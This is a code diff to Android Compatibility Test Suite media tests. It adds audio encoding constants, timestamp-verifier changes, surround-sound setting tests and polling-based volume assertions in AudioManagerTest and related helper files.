+            am.abandonAudioFocusForTest(focusRequests[FOCUS_SIMULATED], simFocusClientId);
+            am.abandonAudioFocusRequest(focusRequests[FOCUS_UNDER_TEST]);
+            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
     //-----------------------------------
     // Test utilities
 
@@ -334,6 +420,22 @@
         }
     }
 
+    private @Nullable MediaPlayer createPreparedMediaPlayer(
+            Uri uri, AudioAttributes aa) throws Exception {
+        final TestUtils.Monitor onPreparedCalled = new TestUtils.Monitor();
+
+        MediaPlayer mp = new MediaPlayer();
+        mp.setAudioAttributes(aa);
+        mp.setDataSource(getContext(), uri);
+        mp.setOnPreparedListener(mp1 -> onPreparedCalled.signal());
+        mp.prepare();
+        onPreparedCalled.waitForSignal(MEDIAPLAYER_PREPARE_TIMEOUT_MS);
+        assertTrue(
+                "MediaPlayer wasn't prepared in under " + MEDIAPLAYER_PREPARE_TIMEOUT_MS + " ms",
+                onPreparedCalled.isSignalled());
+        return mp;
+    }
+
     private static class FocusChangeListener implements OnAudioFocusChangeListener {
         private final Object mLock = new Object();
         private int mFocusChange = AudioManager.AUDIOFOCUS_NONE;
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
index af5e572..8e34ed4 100644
--- a/tests/tests/media/src/android/media/cts/AudioFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
@@ -182,7 +182,12 @@
             AudioFormat.ENCODING_AAC_LC,
             AudioFormat.ENCODING_AAC_HE_V1,
             AudioFormat.ENCODING_AAC_HE_V2,
-            AudioFormat.ENCODING_OPUS
+            AudioFormat.ENCODING_OPUS,
+            AudioFormat.ENCODING_MPEGH_BL_L3,
+            AudioFormat.ENCODING_MPEGH_BL_L4,
+            AudioFormat.ENCODING_MPEGH_LC_L3,
+            AudioFormat.ENCODING_MPEGH_LC_L4,
+            AudioFormat.ENCODING_DTS_UHD,
         };
         for (int encoding : encodings) {
             final AudioFormat format = new AudioFormat.Builder()
diff --git a/tests/tests/media/src/android/media/cts/AudioHelper.java b/tests/tests/media/src/android/media/cts/AudioHelper.java
index 12c6e64..ccd317d 100644
--- a/tests/tests/media/src/android/media/cts/AudioHelper.java
+++ b/tests/tests/media/src/android/media/cts/AudioHelper.java
@@ -272,6 +272,7 @@
 
         private final String mTag;
         private final int mSampleRate;
+        private final long mStartFrames; // initial timestamp condition for verification.
 
         // Running statistics
         private int mCount = 0;
@@ -284,9 +285,10 @@
         private int mWarmupCount = 0;
 
         public TimestampVerifier(@Nullable String tag, @IntRange(from=4000) int sampleRate,
-                boolean isProAudioDevice) {
+                                 long startFrames, boolean isProAudioDevice) {
             mTag = tag;  // Log accepts null
             mSampleRate = sampleRate;
+            mStartFrames = startFrames;
             // Warning if higher than MUST value for pro audio.  Zero means ignore.
             TEST_STARTUP_TIME_MS_WARN = isProAudioDevice ? 200. : 0.;
         }
@@ -296,14 +298,14 @@
         public double getStdJitterMs() { return Math.sqrt(mSecondMomentJitterMs / mJitterCount); }
         public double getMaxAbsJitterMs() { return mMaxAbsJitterMs; }
         public double getStartTimeNs() {
-            return mLastTimeNs - (mLastFrames * NANOS_PER_SECOND / mSampleRate);
+            return mLastTimeNs - ((mLastFrames - mStartFrames) * NANOS_PER_SECOND / mSampleRate);
         }
 
         public void add(@NonNull AudioTimestamp ts) {
             final long frames = ts.framePosition;
             final long timeNs = ts.nanoTime;
 
-            assertTrue("timestamps must have causal time", System.nanoTime() >= timeNs);
+            assertTrue(mTag + " timestamps must have causal time", System.nanoTime() >= timeNs);
 
             if (mCount > 0) { // need delta info from previous iteration (skipping first)
                 final long deltaFrames = frames - mLastFrames;
@@ -322,8 +324,8 @@
                         + ") deltaFrames(" + deltaFrames
                         + ") deltaTimeNs(" + deltaTimeNs
                         + ") jitterMs(" + jitterMs + ")");
-                assertTrue("timestamp time should be increasing", deltaTimeNs >= 0);
-                assertTrue("timestamp frames should be increasing", deltaFrames >= 0);
+                assertTrue(mTag + " timestamp time should be increasing", deltaTimeNs >= 0);
+                assertTrue(mTag + " timestamp frames should be increasing", deltaFrames >= 0);
 
                 if (mLastFrames != 0) {
                     if (mWarmupCount++ > 1) { // ensure device is warmed up
@@ -350,7 +352,7 @@
 
         public void verifyAndLog(long trackStartTimeNs, @Nullable String logName) {
             // enough timestamps?
-            assertTrue("need at least 2 jitter measurements", mJitterCount >= 2);
+            assertTrue(mTag + " need at least 2 jitter measurements", mJitterCount >= 2);
 
             // Compute startup time and std jitter.
             final int startupTimeMs =
@@ -358,7 +360,7 @@
             final double stdJitterMs = getStdJitterMs();
 
             // Check startup time
-            assertTrue("expect startupTimeMs " + startupTimeMs
+            assertTrue(mTag + " expect startupTimeMs " + startupTimeMs
                             + " <= " + TEST_STARTUP_TIME_MS_ALLOWED,
                     startupTimeMs <= TEST_STARTUP_TIME_MS_ALLOWED);
             if (TEST_STARTUP_TIME_MS_WARN > 0 && startupTimeMs > TEST_STARTUP_TIME_MS_WARN) {
@@ -370,7 +372,7 @@
             }
 
             // Check maximum jitter
-            assertTrue("expect maxAbsJitterMs(" + mMaxAbsJitterMs + ") < "
+            assertTrue(mTag + " expect maxAbsJitterMs(" + mMaxAbsJitterMs + ") < "
                             + TEST_MAX_JITTER_MS_ALLOWED,
                     mMaxAbsJitterMs < TEST_MAX_JITTER_MS_ALLOWED);
 
@@ -379,7 +381,8 @@
                 Log.w(mTag, "CDD warning: std timestamp jitter " + stdJitterMs
                         + " > " + TEST_STD_JITTER_MS_WARN);
             }
-            assertTrue("expect stdJitterMs " + stdJitterMs + " < " + TEST_STD_JITTER_MS_ALLOWED,
+            assertTrue(mTag + " expect stdJitterMs " + stdJitterMs +
+                            " < " + TEST_STD_JITTER_MS_ALLOWED,
                     stdJitterMs < TEST_STD_JITTER_MS_ALLOWED);
 
             Log.d(mTag, "startupTimeMs(" + startupTimeMs
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 2d85462..87e69b5 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -16,6 +16,8 @@
 
 package android.media.cts;
 
+import static org.junit.Assert.assertNotEquals;
+
 import static android.media.AudioManager.ADJUST_LOWER;
 import static android.media.AudioManager.ADJUST_RAISE;
 import static android.media.AudioManager.ADJUST_SAME;
@@ -27,8 +29,13 @@
 import static android.media.AudioManager.RINGER_MODE_SILENT;
 import static android.media.AudioManager.RINGER_MODE_VIBRATE;
 import static android.media.AudioManager.STREAM_ACCESSIBILITY;
+import static android.media.AudioManager.STREAM_ALARM;
+import static android.media.AudioManager.STREAM_DTMF;
 import static android.media.AudioManager.STREAM_MUSIC;
+import static android.media.AudioManager.STREAM_NOTIFICATION;
 import static android.media.AudioManager.STREAM_RING;
+import static android.media.AudioManager.STREAM_SYSTEM;
+import static android.media.AudioManager.STREAM_VOICE_CALL;
 import static android.media.AudioManager.USE_DEFAULT_STREAM_TYPE;
 import static android.media.AudioManager.VIBRATE_SETTING_OFF;
 import static android.media.AudioManager.VIBRATE_SETTING_ON;
@@ -37,7 +44,7 @@
 import static android.media.AudioManager.VIBRATE_TYPE_RINGER;
 import static android.provider.Settings.System.SOUND_EFFECTS_ENABLED;
 
-import android.app.INotificationManager;
+import android.Manifest;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.content.BroadcastReceiver;
@@ -47,11 +54,18 @@
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
 import android.media.AudioAttributes;
+import android.media.AudioDeviceAttributes;
 import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
 import android.media.AudioManager;
+import android.media.AudioProfile;
+import android.media.AudioDescriptor;
 import android.media.MediaPlayer;
+import android.media.MediaRecorder;
 import android.media.MicrophoneInfo;
-import android.os.ServiceManager;
+import android.media.audiopolicy.AudioProductStrategy;
+import android.os.Build;
+import android.os.SystemClock;
 import android.os.Vibrator;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
@@ -61,23 +75,47 @@
 import android.util.Log;
 import android.view.SoundEffectConstants;
 
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.MediaUtils;
+import com.android.compatibility.common.util.SettingsStateKeeperRule;
 import com.android.internal.annotations.GuardedBy;
 
+import org.junit.ClassRule;
+
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.Executors;
+import java.util.function.Predicate;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
 
 @NonMediaMainlineTest
 public class AudioManagerTest extends InstrumentationTestCase {
     private final static String TAG = "AudioManagerTest";
 
     private final static long ASYNC_TIMING_TOLERANCE_MS = 50;
-    private final static int MP3_TO_PLAY = R.raw.testmp3;
+    private final static long POLL_TIME_VOLUME_ADJUST = 200;
+    private final static long POLL_TIME_UPDATE_INTERRUPTION_FILTER = 5000;
+    private final static int MP3_TO_PLAY = R.raw.testmp3; // ~ 5 second mp3
+    private final static long POLL_TIME_PLAY_MUSIC = 2000;
     private final static long TIME_TO_PLAY = 2000;
     private final static String APPOPS_OP_STR = "android:write_settings";
+    private final static Set<Integer> ALL_ENCAPSULATION_TYPES = new HashSet<>() {{
+            add(AudioProfile.AUDIO_ENCAPSULATION_TYPE_NONE);
+            add(AudioProfile.AUDIO_ENCAPSULATION_TYPE_IEC61937);
+    }};
+    private final static HashSet<Integer> ALL_AUDIO_STANDARDS = new HashSet<>() {{
+            add(AudioDescriptor.STANDARD_NONE);
+            add(AudioDescriptor.STANDARD_EDID);
+    }};
     private AudioManager mAudioManager;
     private NotificationManager mNm;
     private boolean mHasVibrator;
@@ -99,6 +137,16 @@
     private boolean mDoNotCheckUnmute;
     private boolean mAppsBypassingDnd;
 
+    @ClassRule
+    public static final SettingsStateKeeperRule mSurroundSoundFormatsSettingsKeeper =
+            new SettingsStateKeeperRule(InstrumentationRegistry.getTargetContext(),
+                    Settings.Global.ENCODED_SURROUND_OUTPUT_ENABLED_FORMATS);
+
+    @ClassRule
+    public static final SettingsStateKeeperRule mSurroundSoundModeSettingsKeeper =
+            new SettingsStateKeeperRule(InstrumentationRegistry.getTargetContext(),
+                    Settings.Global.ENCODED_SURROUND_OUTPUT);
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -121,14 +169,14 @@
 
         // Store the original volumes that that they can be recovered in tearDown().
         final int[] streamTypes = {
-            AudioManager.STREAM_VOICE_CALL,
-            AudioManager.STREAM_SYSTEM,
-            AudioManager.STREAM_RING,
-            AudioManager.STREAM_MUSIC,
-            AudioManager.STREAM_ALARM,
-            AudioManager.STREAM_NOTIFICATION,
-            AudioManager.STREAM_DTMF,
-            AudioManager.STREAM_ACCESSIBILITY,
+            STREAM_VOICE_CALL,
+            STREAM_SYSTEM,
+            STREAM_RING,
+            STREAM_MUSIC,
+            STREAM_ALARM,
+            STREAM_NOTIFICATION,
+            STREAM_DTMF,
+            STREAM_ACCESSIBILITY,
         };
         mOriginalRingerMode = mAudioManager.getRingerMode();
         for (int streamType : streamTypes) {
@@ -146,7 +194,7 @@
                     mContext.getPackageName(), getInstrumentation(), false);
         }
 
-        // Check original mirchrophone mute/unmute status
+        // Check original microphone mute/unmute status
         mDoNotCheckUnmute = false;
         if (mAudioManager.isMicrophoneMute()) {
             mAudioManager.setMicrophoneMute(false);
@@ -273,7 +321,7 @@
         // should hear sound after loadSoundEffects() called.
         mAudioManager.loadSoundEffects();
         Thread.sleep(TIME_TO_PLAY);
-        float volume = 13;
+        float volume = 0.5f;  // volume should be between 0.f to 1.f (or -1).
         mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
         mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
         mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
@@ -328,15 +376,12 @@
         }
         MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
         assertNotNull(mp);
-        mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
+        mp.setAudioStreamType(STREAM_MUSIC);
         mp.start();
-        Thread.sleep(TIME_TO_PLAY);
-        assertTrue(mAudioManager.isMusicActive());
-        Thread.sleep(TIME_TO_PLAY);
+        assertMusicActive(true);
         mp.stop();
         mp.release();
-        Thread.sleep(TIME_TO_PLAY);
-        assertFalse(mAudioManager.isMusicActive());
+        assertMusicActive(false);
     }
 
     @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
@@ -349,44 +394,66 @@
         assertEquals(MODE_NORMAL, mAudioManager.getMode());
     }
 
+    public void testSetSurroundFormatEnabled() throws Exception {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.WRITE_SETTINGS);
+
+        int audioFormat = AudioFormat.ENCODING_DTS;
+
+        mAudioManager.setSurroundFormatEnabled(audioFormat, true /*enabled*/);
+        assertTrue(mAudioManager.isSurroundFormatEnabled(audioFormat));
+
+        mAudioManager.setSurroundFormatEnabled(audioFormat, false /*enabled*/);
+        assertFalse(mAudioManager.isSurroundFormatEnabled(audioFormat));
+
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    public void testSetEncodedSurroundMode() throws Exception {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.WRITE_SETTINGS);
+
+        int expectedSurroundFormatsMode = Settings.Global.ENCODED_SURROUND_OUTPUT_MANUAL;
+        mAudioManager.setEncodedSurroundMode(expectedSurroundFormatsMode);
+        assertEquals(expectedSurroundFormatsMode, mAudioManager.getEncodedSurroundMode());
+
+        expectedSurroundFormatsMode = Settings.Global.ENCODED_SURROUND_OUTPUT_NEVER;
+        mAudioManager.setEncodedSurroundMode(expectedSurroundFormatsMode);
+        assertEquals(expectedSurroundFormatsMode, mAudioManager.getEncodedSurroundMode());
+
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
     @SuppressWarnings("deprecation")
     @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
     public void testRouting() throws Exception {
         // setBluetoothA2dpOn is a no-op, and getRouting should always return -1
-        // AudioManager.MODE_CURRENT
         boolean oldA2DP = mAudioManager.isBluetoothA2dpOn();
         mAudioManager.setBluetoothA2dpOn(true);
         assertEquals(oldA2DP , mAudioManager.isBluetoothA2dpOn());
         mAudioManager.setBluetoothA2dpOn(false);
         assertEquals(oldA2DP , mAudioManager.isBluetoothA2dpOn());
 
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_RINGTONE));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_NORMAL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_CALL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
+        assertEquals(-1, mAudioManager.getRouting(MODE_RINGTONE));
+        assertEquals(-1, mAudioManager.getRouting(MODE_NORMAL));
+        assertEquals(-1, mAudioManager.getRouting(MODE_IN_CALL));
+        assertEquals(-1, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
 
         mAudioManager.setBluetoothScoOn(true);
-        assertTrue(mAudioManager.isBluetoothScoOn());
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_RINGTONE));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_NORMAL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_CALL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
+        assertTrueCheckTimeout(mAudioManager, p -> p.isBluetoothScoOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned false");
 
         mAudioManager.setBluetoothScoOn(false);
-        assertFalse(mAudioManager.isBluetoothScoOn());
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_RINGTONE));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_NORMAL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_CALL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
+        assertTrueCheckTimeout(mAudioManager, p -> !p.isBluetoothScoOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned true");
 
         mAudioManager.setSpeakerphoneOn(true);
-        assertTrue(mAudioManager.isSpeakerphoneOn());
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_CALL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
+        assertTrueCheckTimeout(mAudioManager, p -> p.isSpeakerphoneOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned false");
+
         mAudioManager.setSpeakerphoneOn(false);
-        assertFalse(mAudioManager.isSpeakerphoneOn());
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_CALL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
+        assertTrueCheckTimeout(mAudioManager, p -> !p.isSpeakerphoneOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned true");
     }
 
     public void testVibrateNotification() throws Exception {
@@ -609,13 +676,13 @@
         Utils.toggleNotificationPolicyAccess(
                 mContext.getPackageName(), getInstrumentation(), true);
         int volume, volumeDelta;
-        int[] streams = {AudioManager.STREAM_ALARM,
-                AudioManager.STREAM_MUSIC,
-                AudioManager.STREAM_VOICE_CALL,
-                AudioManager.STREAM_RING};
+        int[] streams = {STREAM_ALARM,
+                STREAM_MUSIC,
+                STREAM_VOICE_CALL,
+                STREAM_RING};
 
         mAudioManager.adjustVolume(ADJUST_RAISE, 0);
-        // adjusting volume is aynchronous, wait before other volume checks
+        // adjusting volume is asynchronous, wait before other volume checks
         Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
         mAudioManager.adjustSuggestedStreamVolume(
                 ADJUST_LOWER, USE_DEFAULT_STREAM_TYPE, 0);
@@ -623,8 +690,7 @@
         int maxMusicVolume = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
 
         for (int stream : streams) {
-
-            if (mIsSingleVolume && stream != AudioManager.STREAM_MUSIC) {
+            if (mIsSingleVolume && stream != STREAM_MUSIC) {
                 continue;
             }
 
@@ -649,7 +715,7 @@
             assertEquals(String.format("stream=%d", stream),
                     minNonZeroVolume, mAudioManager.getStreamVolume(stream));
 
-            if (stream == AudioManager.STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
+            if (stream == STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
                 // due to new regulations, music sent over a wired headset may be volume limited
                 // until the user explicitly increases the limit, so we can't rely on being able
                 // to set the volume to getStreamMaxVolume(). Instead, determine the current limit
@@ -670,10 +736,8 @@
 
             volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
             mAudioManager.adjustSuggestedStreamVolume(ADJUST_LOWER, stream, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            assertEquals("Vol ADJUST_LOWER suggested stream:" + stream + " maxVol:" + maxVolume
-                    + " volDelta:" + volumeDelta,
-                    maxVolume - volumeDelta, mAudioManager.getStreamVolume(stream));
+            assertStreamVolumeEquals(stream, maxVolume - volumeDelta,
+                    "Vol ADJUST_LOWER suggested stream:" + stream + " maxVol:" + maxVolume);
 
             // volume lower
             mAudioManager.setStreamVolume(stream, maxVolume, 0);
@@ -681,10 +745,9 @@
             while (volume > minVolume) {
                 volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
                 mAudioManager.adjustStreamVolume(stream, ADJUST_LOWER, 0);
-                assertEquals("Vol ADJUST_LOWER on stream:" + stream + " vol:" + volume
-                                + " minVol:" + minVolume + " volDelta:" + volumeDelta,
-                        Math.max(0, volume - volumeDelta),
-                        mAudioManager.getStreamVolume(stream));
+                assertStreamVolumeEquals(stream,  Math.max(0, volume - volumeDelta),
+                        "Vol ADJUST_LOWER on stream:" + stream + " vol:" + volume
+                                + " minVol:" + minVolume + " volDelta:" + volumeDelta);
                 volume = mAudioManager.getStreamVolume(stream);
             }
 
@@ -696,10 +759,9 @@
             while (volume < maxVolume) {
                 volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
                 mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
-                assertEquals("Vol ADJUST_RAISE on stream:" + stream + " vol:" + volume
-                                + " maxVol:" + maxVolume + " volDelta:" + volumeDelta,
-                        Math.min(volume + volumeDelta, maxVolume),
-                        mAudioManager.getStreamVolume(stream));
+                assertStreamVolumeEquals(stream,   Math.min(volume + volumeDelta, maxVolume),
+                        "Vol ADJUST_RAISE on stream:" + stream + " vol:" + volume
+                                + " maxVol:" + maxVolume + " volDelta:" + volumeDelta);
                 volume = mAudioManager.getStreamVolume(stream);
             }
 
@@ -732,38 +794,31 @@
         mp.setAudioStreamType(STREAM_MUSIC);
         mp.setLooping(true);
         mp.start();
-        Thread.sleep(TIME_TO_PLAY);
-        assertTrue(mAudioManager.isMusicActive());
+        assertMusicActive(true);
 
         // adjust volume as ADJUST_SAME
         for (int k = 0; k < maxMusicVolume; k++) {
             mAudioManager.adjustVolume(ADJUST_SAME, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            assertEquals(maxMusicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+            assertStreamVolumeEquals(STREAM_MUSIC, maxMusicVolume);
         }
 
         // adjust volume as ADJUST_RAISE
         mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
         volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
         mAudioManager.adjustVolume(ADJUST_RAISE, 0);
-        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-        assertEquals(Math.min(volumeDelta, maxMusicVolume),
-                mAudioManager.getStreamVolume(STREAM_MUSIC));
+        assertStreamVolumeEquals(STREAM_MUSIC, Math.min(volumeDelta, maxMusicVolume));
 
         // adjust volume as ADJUST_LOWER
         mAudioManager.setStreamVolume(STREAM_MUSIC, maxMusicVolume, 0);
         maxMusicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
         volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
         mAudioManager.adjustVolume(ADJUST_LOWER, 0);
-        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-        assertEquals(Math.max(0, maxMusicVolume - volumeDelta),
-                mAudioManager.getStreamVolume(STREAM_MUSIC));
+        assertStreamVolumeEquals(STREAM_MUSIC, Math.max(0, maxMusicVolume - volumeDelta));
 
         mp.stop();
         mp.release();
-        Thread.sleep(TIME_TO_PLAY);
         if (!isMusicPlayingBeforeTest) {
-            assertFalse(mAudioManager.isMusicActive());
+            assertMusicActive(false);
         }
     }
 
@@ -774,55 +829,50 @@
         }
         final int maxA11yVol = mAudioManager.getStreamMaxVolume(STREAM_ACCESSIBILITY);
         assertTrue("Max a11yVol not strictly positive", maxA11yVol > 0);
-        int currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
+        int originalVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
 
         // changing STREAM_ACCESSIBILITY is subject to permission, shouldn't be able to change it
         // test setStreamVolume
         final int testSetVol;
-        if (currentVol != maxA11yVol) {
+        if (originalVol != maxA11yVol) {
             testSetVol = maxA11yVol;
         } else {
             testSetVol = maxA11yVol - 1;
         }
         mAudioManager.setStreamVolume(STREAM_ACCESSIBILITY, testSetVol, 0);
-        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-        currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
-        assertTrue("Should not be able to change A11y vol", currentVol != testSetVol);
+        assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
+                "Should not be able to change A11y vol");
 
         // test adjustStreamVolume
         //        LOWER
-        currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
-        if (currentVol > 0) {
+        if (originalVol > 0) {
             mAudioManager.adjustStreamVolume(STREAM_ACCESSIBILITY, ADJUST_LOWER, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            int newVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
-            assertTrue("Should not be able to lower A11y vol", currentVol == newVol);
+            assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
+                    "Should not be able to change A11y vol");
         }
         //        RAISE
-        currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
-        if (currentVol < maxA11yVol) {
+        if (originalVol < maxA11yVol) {
             mAudioManager.adjustStreamVolume(STREAM_ACCESSIBILITY, ADJUST_RAISE, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            int newVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
-            assertTrue("Should not be able to raise A11y vol", currentVol == newVol);
+            assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
+                    "Should not be able to change A11y vol");
         }
     }
 
     public void testSetVoiceCallVolumeToZeroPermission() {
         // Verify that only apps with MODIFY_PHONE_STATE can set VOICE_CALL_STREAM to 0
-        mAudioManager.setStreamVolume(AudioManager.STREAM_VOICE_CALL, 0, 0);
+        mAudioManager.setStreamVolume(STREAM_VOICE_CALL, 0, 0);
         assertTrue("MODIFY_PHONE_STATE is required in order to set voice call volume to 0",
-                    mAudioManager.getStreamVolume(AudioManager.STREAM_VOICE_CALL) != 0);
+                    mAudioManager.getStreamVolume(STREAM_VOICE_CALL) != 0);
     }
 
     public void testMuteFixedVolume() throws Exception {
         int[] streams = {
-                AudioManager.STREAM_VOICE_CALL,
-                AudioManager.STREAM_MUSIC,
-                AudioManager.STREAM_RING,
-                AudioManager.STREAM_ALARM,
-                AudioManager.STREAM_NOTIFICATION,
-                AudioManager.STREAM_SYSTEM};
+                STREAM_VOICE_CALL,
+                STREAM_MUSIC,
+                STREAM_RING,
+                STREAM_ALARM,
+                STREAM_NOTIFICATION,
+                STREAM_SYSTEM};
         if (mUseFixedVolume) {
             for (int stream : streams) {
                 mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
@@ -844,7 +894,7 @@
         if (mSkipRingerTests) {
             return;
         }
-        int[] streams = { AudioManager.STREAM_RING };
+        int[] streams = { STREAM_RING };
         // Mute streams
         Utils.toggleNotificationPolicyAccess(
                 mContext.getPackageName(), getInstrumentation(), true);
@@ -919,19 +969,19 @@
             return;
         }
         int[] streams = {
-                AudioManager.STREAM_VOICE_CALL,
-                AudioManager.STREAM_MUSIC,
-                AudioManager.STREAM_ALARM
+                STREAM_VOICE_CALL,
+                STREAM_MUSIC,
+                STREAM_ALARM
         };
 
         int muteAffectedStreams = System.getInt(mContext.getContentResolver(),
                 System.MUTE_STREAMS_AFFECTED,
                 // same defaults as in AudioService. Should be kept in sync.
                  (1 << STREAM_MUSIC) |
-                         (1 << AudioManager.STREAM_RING) |
-                         (1 << AudioManager.STREAM_NOTIFICATION) |
-                         (1 << AudioManager.STREAM_SYSTEM) |
-                         (1 << AudioManager.STREAM_VOICE_CALL));
+                         (1 << STREAM_RING) |
+                         (1 << STREAM_NOTIFICATION) |
+                         (1 << STREAM_SYSTEM) |
+                         (1 << STREAM_VOICE_CALL));
 
         Utils.toggleNotificationPolicyAccess(
                 mContext.getPackageName(), getInstrumentation(), true);
@@ -963,7 +1013,7 @@
 
     private void testStreamMuting(int stream) {
         // Voice call requires MODIFY_PHONE_STATE, so we should not be able to mute
-        if (stream == AudioManager.STREAM_VOICE_CALL) {
+        if (stream == STREAM_VOICE_CALL) {
             mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
             assertFalse("Muting voice call stream (" + stream + ") should require "
                             + "MODIFY_PHONE_STATE.", mAudioManager.isStreamMute(stream));
@@ -1015,14 +1065,13 @@
         try {
             Utils.toggleNotificationPolicyAccess(
                     mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
             mAudioManager.adjustStreamVolume(
-                    AudioManager.STREAM_MUSIC, AudioManager.ADJUST_RAISE, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            assertEquals(musicVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+                    STREAM_MUSIC, ADJUST_RAISE, 0);
+            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume);
 
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
@@ -1036,18 +1085,16 @@
         try {
             Utils.toggleNotificationPolicyAccess(
                     mContext.getPackageName(), getInstrumentation(), true);
